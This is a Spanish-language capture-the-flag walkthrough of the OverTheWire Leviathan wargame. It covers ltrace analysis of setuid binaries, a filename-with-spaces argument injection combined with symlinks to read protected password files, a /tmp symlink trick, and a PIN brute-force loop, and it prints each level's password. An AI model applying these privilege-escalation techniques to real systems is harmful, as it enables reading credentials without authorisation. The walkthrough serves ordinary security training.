

OverTheWire

Leviathan Games

Leviathan 0

SHELL

Existe un .backup

SHELL

```

leviathan0@gibson:~$ ls -la
total 24
drwxr-xr-x  3 root    root    4096 Sep 19 07:07 .
drwxr-xr-x 83 root    root    4096 Sep 19 07:09 ..
drwxr-x---  2 leviathan1 leviathan0 4096 Sep 19 07:07 .backup
-rw-r--r--  1 root      root      220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root      root     3771 Mar 31  2024 .bashrc
-rw-r--r--  1 root      root      807 Mar 31  2024 .profile

```

Al meternos hay un bookmarks.html

SHELL

```
leviathan0@gibson:~/backup$ ls
bookmarks.html
```

Al hacerle un cat saca mucha data

<DT>Dissensus

<DT>Girl Group Mailing List

<DT>I Love Music

<DT>I Love Everything

<DT>scott&nbps;&nbps;# 9: 50 PM

<DT>span class="quick-edit-icon">&nbps;

<DT>Chic

<DT>Drummers

<DT>Girl Groups

<DT>Glam Rock

<DT>The Godfather

<DT>Guitars

<DT>K-Tel

<DT>Max's

<DT>Mellotrons

<DT>Martin Scorsese

<DT>Scritti Politti

<DT>Shadow

<DT>Sparks

<DT>Synthesizers

<DT>Travis

<DT>Virgin Suicides

<DT>Warhol

<DT>X-Ray Spex

</DL></p>

Mucha data

Por ello me ayudo de **grep** para ver si existe algún tipo de credencial:

```

leviathan0@gibson:~/backup$ cat bookmarks.html | grep "pass*"
<DT><A HREF="http://pastime.anu.edu.au/TAR/" ADD_DATE="1132826614" LAST_CHARSET="ISO-8859-1" ID="rdf:$2wIU71">
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is 3QJ3TgzHDq" ADD_DATE="115538463
4" LAST_CHARSET="ISO-8859-1" ID="rdf:$2wIU71">password to leviathan1</A>
<DT><A HREF="http://www.kristenpasculli.com/" ADD_DATE="1102966650" LAST_CHARSET="ISO-8859-1" ID="rdf:$2wIU71">Kristen Pasculli</A>
leviathan0@gibson:~/backup$

```

Leviathan 1

SHELL

```
ssh leviathan1@leviathan.labs.overthewire.org -p 2223 #password:leviathan0
```

Una vez dentro nos encontramos con un binario *check*

SHELL

```

leviathan1@gibson:~$ ls -l
total 16
-r-sr-x--- 1 leviathan2 leviathan1 15080 Sep 19 07:07 check

```

Al ejecutarlo y poner la contraseña del nivel actual me dice que errónea

```

-r-sr-x--- 1 leviathan2 leviathan1 15080 Sep 19 07:07 check
leviathan1@gibson:~$ ./check
password: 3QJ3TgzHDq
Wrong password, Good Bye ...

```

Usando **ltrace** para ver, lo que hace es un string compare entre dos strings por lo que ya nos chiva que la contraseña es **sex**

```

leviathan1@gibson:~$ ltrace ./check
__libc_start_main(0x80490ed, 1, 0xffffd494, 0 <unfinished ... >
printf("password: ") = 10
getchar(0, 0, 0x786573, 0x646f67)password: test = 116
getchar(0, 116, 0x786573, 0x646f67) = 101
getchar(0, 0x6574, 0x786573, 0x646f67) = 115
strcmp("tes", "sex") = 1
puts("Wrong password, Good Bye ... "Wrong password, Good Bye ...
) = 29
+++ exited (status 0) +++

```

Probamos y estamos como leviathan2

```

leviathan1@gibson:~$ ./check
password: sex
$ id
uid=12002(leviathan2) gid=12001(leviathan1) groups=12001(leviathan1)
$

```

Ahora si nos vamos al /home de leviathan2 vemos que hay un binario printfile

SHELL

```

leviathan2@gibson:/home/leviathan2$ ls -la
total 36
drwxr-xr-x 2 root root 4096 Sep 19 07:07 .
drwxr-xr-x 83 root root 4096 Sep 19 07:09 ..
-rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 root root 3771 Mar 31 2024 .bashrc

```

```
-r--r-x--- 1 leviathan3 leviathan2 15068 Sep 19 07:07 printfile
-rw-r--r-- 1 root      root      807 Mar 31 2024 .profile
```

Al ejecutarlo no me iba ya que si nos damos cuenta, antes cuando hice un id, estoy como leviathan2 pero como group id sigo como leviathan1 y el binario *printfile* tiene como grupo *leviathan2* por lo que hay que cambiarse de sesion, para ello voy a ver la contraseña de leviathan2 que si que puedo:

```
leviathan2@gibson: /etc/leviathan_pass$ cat leviathan2
NsN1HwFoyN
```

Leviathan 2

SHELL

```
ssh leviathan2@leviathan.labs.overthewire.org -p 2223
```

Ahora una vez dentro de leviathan2 si que podemos ejecutar el binario comodamente

```
leviathan2@gibson:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
```

Este es su uso, tenemos que pasarle un fichero a leer, por lo que tiro por lo fácil y le paso la contraseña de leviathan3 a ver si la puede leer ya que es *suid* y su propietario es *leviathan3*

Al parecer no nos deja:

```
leviathan2@gibson:~$ ./printfile /etc/leviathan3_pass
You cant have that file ...
```

De nuevo vamos a pasarle un letracé:

```
leviathan2@gibson:~$ ltrace ./printfile /etc/passwd
__libc_start_main(0x80490ed, 2, 0xffffd474, 0 <unfinished ... >
access("/etc/passwd", 4)
snprintf("/bin/cat /etc/passwd", 511, "/bin/cat %s", "/etc/passwd")
geteuid()
geteuid()
setreuid(12002, 12002)
system("/bin/cat /etc/passwd")root:x:0:0:root:/root:/bin/bash
```

Pasándole un fichero que si que puede leer al parecer (*/etc/passwd*) vemos que lo que haces es que con *access()* comprueba si el usuario puede acceder al fichero (en este caso el */etc/passwd*) y lo comprueba como *leviathan2* ya que el suid se efectúa después.

Que pasa si le pasamos 2 ficheros?

```

> ^C
leviathan2@gibson:~$ ltrace ./printfile .bashrc .profile
__libc_start_main(0x80490ed, 3, 0xffffd464, 0 <unfinished ...>
access(".bashrc", 4)                                = 0
snprintf("/bin/cat .bashrc", 511, "/bin/cat %s", ".bashrc") = 16
geteuid()                                           = 12002
geteuid()                                           = 12002
setreuid(12002, 12002)                             = 0
system("/bin/cat .bashrc"# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
    *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

```

Lee solo el primero fichero

Sabiendo que usa cat, y que cat solo lee fichero por fichero, podemos probar a pesarle un fichero con espacios:

SHELL

```
touch "pass file.txt"
```

SHELL

```

ltrace ~/.printfile "pass file.txt"
__libc_start_main(0x80490ed, 2, 0xffffd434, 0 <unfinished ...>
access("pass file.txt", 4)                        = -1
puts("You cant have that file..."You cant have that file...
)                                                  = 27
+++ exited (status 1) +++
leviathan2@gibson:/tmp/tmp.aTj1IwRYM9$ rm pass
leviathan2@gibson:/tmp/tmp.aTj1IwRYM9$ touch "pass file.txt"
leviathan2@gibson:/tmp/tmp.aTj1IwRYM9$ ltrace ~/.printfile "pass file.txt"
__libc_start_main(0x80490ed, 2, 0xffffd434, 0 <unfinished ...>
access("pass file.txt", 4)                        = 0
snprintf("/bin/cat pass file.txt", 511, "/bin/cat %s", "pass file.txt") = 22
geteuid()                                           = 12002
geteuid()                                           = 12002
setreuid(12002, 12002)                             = 0
system("/bin/cat pass file.txt"/bin/cat: pass: No such file or directory
/bin/cat: file.txt: No such file or directory
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                            = 256
+++ exited (status 0) +++

```

En este caso no esta creado pero lo lee los dos *pass* y *file.txt*. Aprovechando esto, y viendo que la función `access()` solo comprueba el primer fichero, ahora podríamos crear un enlace simbólico en un directorio que creo en /tmp que es donde tenemos permisos de escritura que haga enlace con la contraseña:

```
leviathan2@gibson:/tmp/test$ ln -s /etc/leviathan_pass/leviathan3 /tmp/test/test
leviathan2@gibson:/tmp/test$ ls -l
total 0
lrwxrwxrwx 1 leviathan2 leviathan2 30 Mar 13 17:44 test -> /etc/leviathan_pass/leviathan3
```

Ahora creamos un fichero llamado "test file.txt"

```
leviathan2@gibson:/tmp/test$ touch "test file.txt"
leviathan2@gibson:/tmp/test$ ls -l
total 0
lrwxrwxrwx 1 leviathan2 leviathan2 30 Mar 13 17:44 test -> /etc/leviathan_pass/leviathan3
-rw-rw-r-- 1 leviathan2 leviathan2 0 Mar 13 17:45 test file.txt
```

Entonces ahora cuando lo ejecutemos apuntando al fichero que acabamos de crear, la función `access()` apunta a ese fichero del cual somos propietarios y podemos leer, y luego cat lee solo *test* que es un enlace simbólico y apunta a la contraseña de leviathan3, luego intenta hacer un cat del fichero *file.txt* pero no existe.

```
leviathan2@gibson:/tmp/test$ cat test
f0n8h2iWLP
/bin/cat: file.txt: No such file or directory
```

Leviathan 3

SHELL

```
ssh leviathan3@leviathan.labs.overthewire.org -p 2223
```

Vemos que hay un binario llamado *level3*

SHELL

```
leviathan3@gibson:~$ ls -la
total 40
drwxr-xr-x 2 root root 4096 Sep 19 07:07 .
drwxr-xr-x 83 root root 4096 Sep 19 07:09 ..
-rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 root root 3771 Mar 31 2024 .bashrc
-r-sr-x--- 1 leviathan4 leviathan3 18096 Sep 19 07:07 level3
-rw-r--r-- 1 root root 807 Mar 31 2024 .profile
```

Al ejecutarlo nos pide una contraseña

```
leviathan3@gibson:~$ ./level3
Enter the password> test
bzzzzzzzzzap. WRONG
```

Viéndolo con **ltrace**, como vimos en un nivel anterior, usa la función **strcmp** para hacer una comparación con nuestro input y la cadena "snlprintf"

SHELL

```
leviathan3@gibson:~$ ltrace ./level3
__libc_start_main(0x80490ed, 1, 0xffffd494, 0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> test
"test\n", 256, 0xf7fae5c0) = 0xffffd26c
strcmp("test\n", "snlprintf\n") = 1
puts("bzzzzzzzap. WRONG"bzzzzzzzap. WRONG
)
```

Por lo que probamos y estamos como **leviathan4**

SHELL

```
leviathan3@gibson:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ whoami
leviathan4
$ id
uid=12004(leviathan4) gid=12003(leviathan3) groups=12003(leviathan3)
$ cat /etc/leviathan_pass/leviathan4
WG1egElCvO
```

Leviathan 4

SHELL

```
ssh leviathan4@leviathan.labs.overthewire.org -p 2223
```

Vemos que hay una carpeta oculta llamada **.trash** donde hay un binario dentro:

SHELL

```
leviathan4@gibson:~$ ls -la
total 24
drwxr-xr-x  3 root root   4096 Sep 19 07:07 .
drwxr-xr-x 83 root root   4096 Sep 19 07:09 ..
-rw-r--r--  1 root root    220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root root   3771 Mar 31  2024 .bashrc
-rw-r--r--  1 root root    807 Mar 31  2024 .profile
dr-xr-x---  2 root leviathan4 4096 Sep 19 07:07 .trash
leviathan4@gibson:~$ cd .trash/
leviathan4@gibson:~/trash$ ls
bin
```

Como en casos anteriores, tienen el permiso SUID:

```
leviathan4@gibson:~/trash$ ls -l
total 16
-r-sr-x--- 1 leviathan5 leviathan4 14936 Sep 19 07:07 bin
```

Al ejecutarlo, siempre nos devuelve una cadena en binario estática:

```
leviathan4@gibson:~/trash$ ./bin
00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010
leviathan4@gibson:~/trash$ ./bin
00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010
leviathan4@gibson:~/trash$ ./bin
00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010
```

La podemos pasar a UTF y nos dará la contraseña para el siguiente nivel

Paste binary numbers or drop file:

```
00110000 01100100 01111001 01111000 01010100 00110111
01000110 00110100 01010001 01000100 00001010
```

Character encoding (optional)

ASCII/UTF-8

Convert Reset Swap

0dyxT7F4QD

Leviathan 5

```
ssh leviathan5@leviathan.labs.overthewire.org -p 2223
```

Vemos que hay un binario llamado **leviathan5**:

```
leviathan5@gibson:~$ ls -la
total 36
```



```
drwxr-xr-x 2 root root 4096 Sep 19 07:07 .
drwxr-xr-x 83 root root 4096 Sep 19 07:09 ..
-rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 root root 3771 Mar 31 2024 .bashrc
-r-sr-x--- 1 leviathan6 leviathan5 15140 Sep 19 07:07 leviathan5
-rw-r--r-- 1 root root 807 Mar 31 2024 .profile
```

Al ejecutarlo parece que usa **find** para buscar el fichero file.log en la carpeta /tmp

SHELL

```
leviathan5@gibson:~$ ./leviathan5
Cannot find /tmp/file.log
```

Con **ltrace** vemos que usa **fopen()** para abrir dicho fichero

```
leviathan5@gibson:~$ ltrace ./leviathan5 "test"
__libc_start_main(0x804910d, 2, 0xffffd474, 0 <unfinished ...>
fopen("/tmp/file.log", "r") = 0
puts("Cannot find /tmp/file.log"Cannot find /tmp/file.log
) = 26
exit(-1 <no return ...>
+++ exited (status 255) +++
```

Como en /tmp tenemos permisos de escritura, creamos un fichero que se llame tal que así

SHELL

```
drwxrwx-wt 6651 root root 11644928 Mar 15 14:21 tmp
```

Al ejecutarlo el binario, ahora encuentra ese fichero y lee su contenido

SHELL

```
touch /tmp/file.log
leviathan5@gibson:/$ echo "esto es una prueba" > /tmp/file.log
leviathan5@gibson:~$ ./leviathan5
esto es una prueba
```

entonces ahora podríamos hacer un enlace simbólico que apunte a la contraseña del siguiente nivel

SHELL

```
leviathan5@gibson:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@gibson:~$ ./leviathan5
szo7HDB88w
```


Leviathan 6

SHELL

```
ssh leviathan6@leviathan.labs.overthewire.org -p 2223
```

Vemos que hay un binario llamado **leviathan56**:

SHELL

```
leviathan6@gibson:~$ ls -la
total 36
drwxr-xr-x  2 root  root   4096 Sep 19 07:07 .
drwxr-xr-x 83 root  root   4096 Sep 19 07:09 ..
-rw-r--r--  1 root  root    220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root  root   3771 Mar 31  2024 .bashrc
-r-sr-x---  1 leviathan7 leviathan6 15032 Sep 19 07:07 leviathan6
-rw-r--r--  1 root  root    807 Mar 31  2024 .profile
```

Al ejecutarlo nos pide un número de 4 dígitos

SHELL

```
leviathan6@gibson:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@gibson:~$ ./leviathan6 3333
Wrong
```

Parece que tenemos que ir probando hasta dar con el correcto, por ello, me ejecuto lo siguiente:

```
leviathan6@gibson:~$ for i in {0000..9999} ;do ./leviathan6 $i ;done > /tmp/result.txt
```

Mi idea era almacenar los resultados para hacer un **grep -v wrong** de los resultados pero nunca terminaba ya que cuando el resultado era correcto, daba una shell, para solucionar esto, vale con añadir un **echo \$i**

```
Wrong
7118
Wrong
7119
Wrong
7120
Wrong
7121
Wrong
7122
$ whoami
leviathan7
$ |
```

Como vemos, se para en 7122 y el siguiente parece ser el correcto, por ello, hacemos la comprobación:

```
leviathan6@gibson:~$ ./leviathan6 7123
$ whoami
leviathan7
```

SHELL

Ahora somos leviathan7 y sacamos la contraseña

```
$ cat /etc/leviathan_pass/leviathan7
qEs5Io5yM8
```

SHELL

Leviathan 7

```
ssh leviathan7@leviathan.labs.overthewire.org -p 2223
```

SHELL

Terminamos!

```
leviathan7@gibson:~$ ls
```

```
CONGRATULATIONS
```